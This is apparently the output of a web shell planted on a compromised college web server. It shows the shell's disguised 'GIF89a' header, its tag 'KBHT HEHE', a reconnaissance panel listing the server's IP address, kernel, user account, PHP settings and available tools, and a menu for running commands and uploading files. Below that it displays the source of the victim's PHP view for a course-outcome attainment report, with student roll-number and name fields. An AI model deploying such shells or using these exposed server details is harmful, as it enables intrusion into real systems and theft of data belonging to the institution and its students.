GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.117.168.71
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../web/../cas/application/views/admin/obes/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../web/../cas/application/views/admin/obes/coAttainmentReport.php
<!DOCTYPE HTML>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <title>Course Outcome Attainment Report | College Automation System | <?php echo $this->session->userdata("adminData")["branch_short_name"]; ?></title>
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/style.css"); ?>">
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery.dataTables.min.css"); ?>" type='text/css' />
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/buttons.dataTables.min.css"); ?>" type='text/css'>
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery-ui.css"); ?>">
        <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&amp;display=swap">
        <link rel="image icon" href="<?php echo base_url("assets/admin/images/logo.png"); ?>">
        <script src="<?php echo base_url("assets/admin/js/jquery-1.10.2.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/jquery-ui.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap-popper.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/jquery.dataTables.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/dataTables.buttons.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/jszip.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/pdfmake.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/vfs_fonts.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/buttons.print.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/buttons.html5.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/buttons.colVis.min.js"); ?>"></script>
        <script>
            var csrfHash = '';
        </script>
    </head>
    <body class="cbp-spmenu-push">
        <div class="se-pre-con"></div>
        <section>
            <?php $this->load->view("admin/navAndHeader"); ?>
            <div class="main-content">
                <div class="container-fluid content-top-gap">
                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb my-breadcrumb">
                            <li class="breadcrumb-item"><a href="<?php echo site_url("admin/Dashboard"); ?>">Home</a></li>
                            <li class="breadcrumb-item" aria-current="page"><a href="<?php echo site_url("admin/Student/"); ?>">OBES</a></li>
                            <li class="breadcrumb-item active" aria-current="page">Course Outcome Attainment Report</li>
                        </ol>
                    </nav>
                    <section class="data-tables">
                        <div class="card card_border p-4">
                            <h3 class="card__title"><i class="fa fa-table"></i> Course Outcome Attainment Report</h3><br>
                            <div class="table-responsive">
                                <?php if ($this->session->flashdata('successMessage')) { ?>
                                    <div class="alert alert-success alert-dismissible fade show"> 
                                        <strong><?php echo $this->session->flashdata('successMessage'); ?></strong> 
                                        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                                            <span aria-hidden="true">&times;</span>
                                        </button>
                                    </div>
                                <?php } ?>
                                <?php if ($this->session->flashdata('errorMessage')) { ?>
                                    <div class="alert alert-danger alert-dismissible fade show"> 
                                        <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> 
                                        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                                            <span aria-hidden="true">&times;</span>
                                        </button>
                                    </div>
                                <?php } ?>
                                <fieldset>
                                    <legend>Filters <i class="fa fa-filter"></i></legend>
                                    <?php echo form_open(site_url('admin/OBES/coAttainmentReport'), ['name' => 'coAttainementFrm', 'id' => 'coAttainementFrm']); ?>
                                    <div class="form-row">
                                        <div class="form-group col-md-2" style="display: none;">
                                            <label for="stuBranch" class="input__label">Branch *</label>
                                            <select id="stuBranch" name="stuBranch" class="custom-select">
                                                <option value="">Select Branch</option>
                                                <?php
                                                $selected = (sizeof($branches) > 2) ? "" : "selected";
                                                foreach ($branches as $branch) {
                                                    if ($branch->branch_id == 0 || $branch->branch_id == '0') {
                                                        continue;
                                                    }
                                                    ?>
                                                    <option value="<?php echo $branch->branch_id; ?>" <?php echo set_select("stuBranch", $branch->branch_id); ?> <?php echo $selected; ?>><?php echo stripslashes($branch->branch_name); ?></option>
                                                <?php }
                                                ?>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-2">
                                            <label for="stuCourse" class="input__label">Course</label>
                                            <select id="stuCourse" name="stuCourse" class="custom-select">
                                                <option value="" <?php echo set_select("stuCourse", "") ?>>Select Course</option>
                                                <?php foreach ($courses as $course) { ?>
                                                    <option value="<?php echo $course->course_id; ?>" <?php echo set_select("stuCourse", $course->course_id); ?>><?php echo stripslashes($course->course_name); ?></option>
                                                <?php }
                                                ?>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="stuSession" class="input__label">Session</label>
                                            <select id="stuSession" name="stuSession" class="custom-select">
                                                <option value="">Select Session</option>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="subject" class="input__label">Subject</label>
                                            <select id="subject" name="subject" class="custom-select">
                                                <option value="">Select Entry Type</option>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-2">
                                            <label for="test" class="input__label">Assessment</label>
                                            <select id="test" name="test" class="custom-select">
                                                <option value="">Select Assessment</option>
                                            </select>
                                        </div>
                                        <div class="col-md-2">
                                            <label for="filterSubmitBtn" class="input__label"></label>
                                            <button id="filterSubmitBtn" name="filterSubmitBtn" type="submit" class="btn btn-warning btn-block ">Apply Filter&nbsp;<i class="fa fa-filter"></i><i class="fa fa-arrow-right"></i></button>
                                        </div>
                                    </div>
                                    <?php echo form_close(); ?>
                                    <span id="spnErr" style="color:#FF0000;font-size:15px;font-weight: bolder;"></span>
                                    <hr>
                                </fieldset>
                                <?php
                                if ($selectedTest == "All") {
                                    ?>
                                    <table id="coAttainmentable" class="bootstrap-datatable table-striped table-hover" style="width:100%">
                                        <thead>
                                            <tr >
                                                <th style="background-color: #ffeeba;">Sr. No.</th>
                                                <th style="background-color: #ffeeba;">Roll No.</th>
                                                <th style="background-color: #ffeeba;">Name</th>
                                                <?php
                                                if (sizeof($coDetails)) {
                                                    for ($co = 0; $co < sizeof($coDetails); $co++) {
                                                        ?>
                                                        <th style="background-color: #f7b0bb;text-align: left;"><?php
                                                            echo "<p>" . $coDetails[$co]["co_name"] . "</p>";
                                                            ?></th>
                                                        <?php
                                                    }
                                                }
                                                ?>
                                            </tr>
                                        </thead>
                                        <tfoot>
                                        <th style="background-color: #ffeeba;text-align: center;" colspan="3">Total Course Outcome Attainment</th>
                                        <?php
                                        for ($to = 0; $to < sizeof($coCOlumnWiseAllCoAttainmentValue); $to++) {
                                            ?>
                                            <th style="background-color: #CCC;text-align: left;"><?php echo $coCOlumnWiseAllCoAttainmentValue[$to]; ?></th>
                                            <?php
                                        }
                                        ?>
                                        </tfoot>
                                        <tbody>
                                            <?php
                                            if (sizeof($filteredRecords)) {
                                                for ($data = 0; $data < sizeof($filteredRecords); $data++) {
                                                    ?>
                                                    <tr style="background-color: #ffeeba;">
                                                        <td><?php echo $data + 1; ?></td>
                                                        <td><?php echo $filteredRecords[$data]["tspi_rollNumber"]; ?></td>
                                                        <td><?php echo $filteredRecords[$data]["tspi_name"]; ?></td>

                                                        <?php
                                                        for ($c = 0; $c < sizeof($filteredRecords[$data]["coArray"]); $c++) {
                                                            ?>
                                                            <td style="background-color: lightblue;text-align: left;"><?php echo $filteredRecords[$data]["coArray"][$c]["coAttainmentAsPerCoMarks"]; ?></td>
                                                            <?php
                                                        }
                                                        ?>
                                                    </tr>
                                                    <?php
                                                }
                                            }
                                            ?>
                                        </tbody>
                                    </table>
                                </div>
                            </div>
                        </section>   
                        <?php
                    } else {
                        ?>
                        <table id="coAttainmentable" class="bootstrap-datatable table-striped table-hover" style="width:100%">
                            <thead>
                                <tr >
                                    <th style="background-color: #ffeeba;">Sr. No.</th>
                                    <th style="background-color: #ffeeba;">Roll No.</th>
                                    <th style="background-color: #ffeeba;">Name</th>
                                    <?php
                                    if (sizeof($coDetails)) {
                                        for ($co = 0; $co < sizeof($coDetails); $co++) {
                                            ?>
                                            <th style="background-color: #f7b0bb;text-align: left;"><?php
                                                echo "<p>" . $coDetails[$co]["co_name"] . "</p>";
                                                if (sizeof($coDetails[$co]["questions"])) {
                                                    echo "|" . implode('| ', $coDetails[$co]["questions"]) . "|";
                                                } else {
                                                    echo "| N/A |";
                                                }
                                                ?></th>
                                            <?php
                                        }
                                    }
                                    ?>
                                </tr>
                            </thead>
                            <tfoot>
                            <th style="background-color: #ffeeba;text-align: left;" colspan="3">Total Course Outcome Attainment</th>
                            <?php
                            for ($to = 0; $to < sizeof($coCOlumnWiseAllCoAttainmentValue); $to++) {
                                ?>
                                <th style="background-color: #CCC;text-align: left;"><?php echo $coCOlumnWiseAllCoAttainmentValue[$to]; ?></th>
                                <?php
                            }
                            ?>
                            </tfoot>
                            <tbody>
                                <?php
                                if (sizeof($filteredRecords)) {
                                    for ($data = 0; $data < sizeof($filteredRecords); $data++) {
                                        ?>
                                        <tr style="background-color: #ffeeba;">
                                            <td><?php echo $data + 1; ?></td>
                                            <td><?php echo $filteredRecords[$data]["tspi_rollNumber"]; ?></td>
                                            <td><?php echo $filteredRecords[$data]["tspi_name"]; ?></td>
                                            <?php
                                            for ($c = 0; $c < sizeof($filteredRecords[$data]["coArray"]); $c++) {
                                                ?>
                                                <td style="background-color: lightblue;text-align: left;"><?php echo ($filteredRecords[$data]["coArray"][$c]["attendance"] == 'A') ? "Absent" : $filteredRecords[$data]["coArray"][$c]["coAttainmentAsPerCoMarks"]; ?></td>
                                                <?php
                                            }
                                            ?>
                                        </tr>
                                        <?php
                                    }
                                }
                                ?>
                            </tbody>
                        </table>
                    </div>
                </div>
            </section>
            <?php
        }
        ?>
    </div>
</div>
</section>
<script>
    $("#stuCourse").on("change", function () {
        $(".se-pre-con").fadeIn("slow");
        if (csrfHash === '') {
            csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
        }
        if ($(this).val().trim() !== "") {
            $.ajax({
                url: '<?php echo site_url('admin/Sessions/getSessionByCourseAndBranch/') ?>',
                data: {branch_id: $("#stuBranch").val(), course_id: $(this).val(), csrf_token: csrfHash},
                type: 'POST',
                async: false,
                success: function (result) {
                    var sessionInfo = JSON.parse(result);
                    $(".se-pre-con").fadeOut("slow");
                    $("#stuSession").html(sessionInfo.session_List);
                    csrfHash = sessionInfo.csrfHash;
                    coAttainementFrm.csrf_token.value = csrfHash;
                }
            });

            $.ajax({
                url: '<?php echo site_url('admin/Subject/getSubjectsForDropDown/') ?>',
                data: {course_id: $(this).val(), subject: '', csrf_token: csrfHash},
                type: 'POST',
                async: false,
                success: function (result) {
                    var subjectInfo = JSON.parse(result);
                    $(".se-pre-con").fadeOut("slow");
                    $("#subject").html(subjectInfo.subject_list);
                    csrfHash = subjectInfo.csrfHash;
                    coAttainementFrm.csrf_token.value = csrfHash;
                }
            });
        } else {
            $("#stuSession").html("<option>Select Session</option>");
            $("#subject").html("<option>Select Subject</option>");
            $(".se-pre-con").fadeOut("slow");
        }
    });
    $("#subject").on("change", function () {
        $(".se-pre-con").fadeIn("slow");
        if (csrfHash === '') {
            csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
        }
        if ($(this).val().trim() !== "") {
            $.ajax({
                url: '<?php echo site_url('admin/Assessment/getTestsBySubjectForDropdown/') ?>',
                data: {subject: $(this).val(), test: '', csrf_token: csrfHash},
                type: 'POST',
                async: false,
                success: function (result) {
                    var testInfo = JSON.parse(result);
                    $(".se-pre-con").fadeOut("slow");
                    $("#test").html(testInfo.test_list);
                    csrfHash = testInfo.csrfHash;
                    coAttainementFrm.csrf_token.value = csrfHash;
                }
            });
        } else {
            $("#test").html("<option value = '' >Select Assessment</option>");
            $(".se-pre-con").fadeOut("slow");
        }
    });
    $("#test").on("change", function () {
        $("#spnErr").html("");
    });
    $("#filterSubmitBtn").on("click", function () {
        if ($("#stuCourse").val() === "" || $("#stuCourse").val() === null) {
            $("#spnErr").html("Please Select Course To Proceed.");
            event.preventDefault();
            $("#stuCourse").focus();
        } else if ($("#stuSession").val() === "" || $("#stuSession").val() === null) {
            $("#spnErr").html("Please Select Session To Proceed.");
            event.preventDefault();
            $("#stuSession").focus();
        } else if ($("#subject").val() === "" || $("#subject").val() === null) {
            $("#spnErr").html("Please Select Any Subject To Fetch Tests.");
            event.preventDefault();
            $("#subject").focus();
        } else if ($("#test").val() === "" || $("#test").val() === null) {
            $("#spnErr").html("Please Select Any Assessment To Fetch CO Attainment Report.");
            event.preventDefault();
            $("#test").focus();
        } else {
            $("#spnErr").html("");
            $("#coAttainementFrm").submit();
        }
    });
    $(document).ready(function () {
        $("#coAttainmentable").DataTable({responsive: true, dom: 'Blfrtip'});
        var selectedCourse = '<?php echo $selectedCourse; ?>';
        var selectedSession = '<?php echo $selectedSession; ?>';
        var selectedSubject = '<?php echo $selectedSubject; ?>';
        var selectedTest = '<?php echo $selectedTest; ?>';
        $(".se-pre-con").fadeIn("slow");
        if (csrfHash === '') {
            csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
        }
        if ($("#stuCourse").val().trim() !== "") {
            $.ajax({
                url: '<?php echo site_url('admin/Sessions/getSessionByCourseAndBranchSelected/') ?>',
                data: {branch_id: $("#stuBranch").val(), course_id: $("#stuCourse").val(), session_id: selectedSession, csrf_token: csrfHash},
                type: 'POST',
                async: false,
                success: function (result) {
                    var sessionInfo = JSON.parse(result);
                    $(".se-pre-con").fadeOut("slow");
                    $("#stuSession").html(sessionInfo.session_List);
                    csrfHash = sessionInfo.csrfHash;
                    coAttainementFrm.csrf_token.value = csrfHash;
                }
            });

            $.ajax({
                url: '<?php echo site_url('admin/Subject/getSubjectsForDropDown/') ?>',
                data: {course_id: selectedCourse, subject: selectedSubject, csrf_token: csrfHash},
                type: 'POST',
                async: false,
                success: function (result) {
                    var subjectInfo = JSON.parse(result);
                    $(".se-pre-con").fadeOut("slow");
                    $("#subject").html(subjectInfo.subject_list);
                    csrfHash = subjectInfo.csrfHash;
                    coAttainementFrm.csrf_token.value = csrfHash;
                }
            });
        } else {
            $("#stuSession").html("<option>Select Session</option>");
            $("#subject").html("<option>Select Subject</option>");
            $(".se-pre-con").fadeOut("slow");
        }

        $(".se-pre-con").fadeIn("slow");
        if (csrfHash === '') {
            csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
        }
        if ($("#subject").val().trim() !== "") {
            $.ajax({
                url: '<?php echo site_url('admin/Assessment/getTestsBySubjectForDropdown/') ?>',
                data: {subject: $("#subject").val(), test: selectedTest, csrf_token: csrfHash},
                type: 'POST',
                async: false,
                success: function (result) {
                    var testInfo = JSON.parse(result);
                    $(".se-pre-con").fadeOut("slow");
                    $("#test").html(testInfo.test_list);
                    csrfHash = testInfo.csrfHash;
                    coAttainementFrm.csrf_token.value = csrfHash;
                }
            });
        } else {
            $("#test").html("<option value = '' >Select Assessment</option>");
            $(".se-pre-con").fadeOut("slow");
        }
    });
</script>
<?php $this->load->view("admin/footer"); ?>
</body>
</html>

KBHT - 2023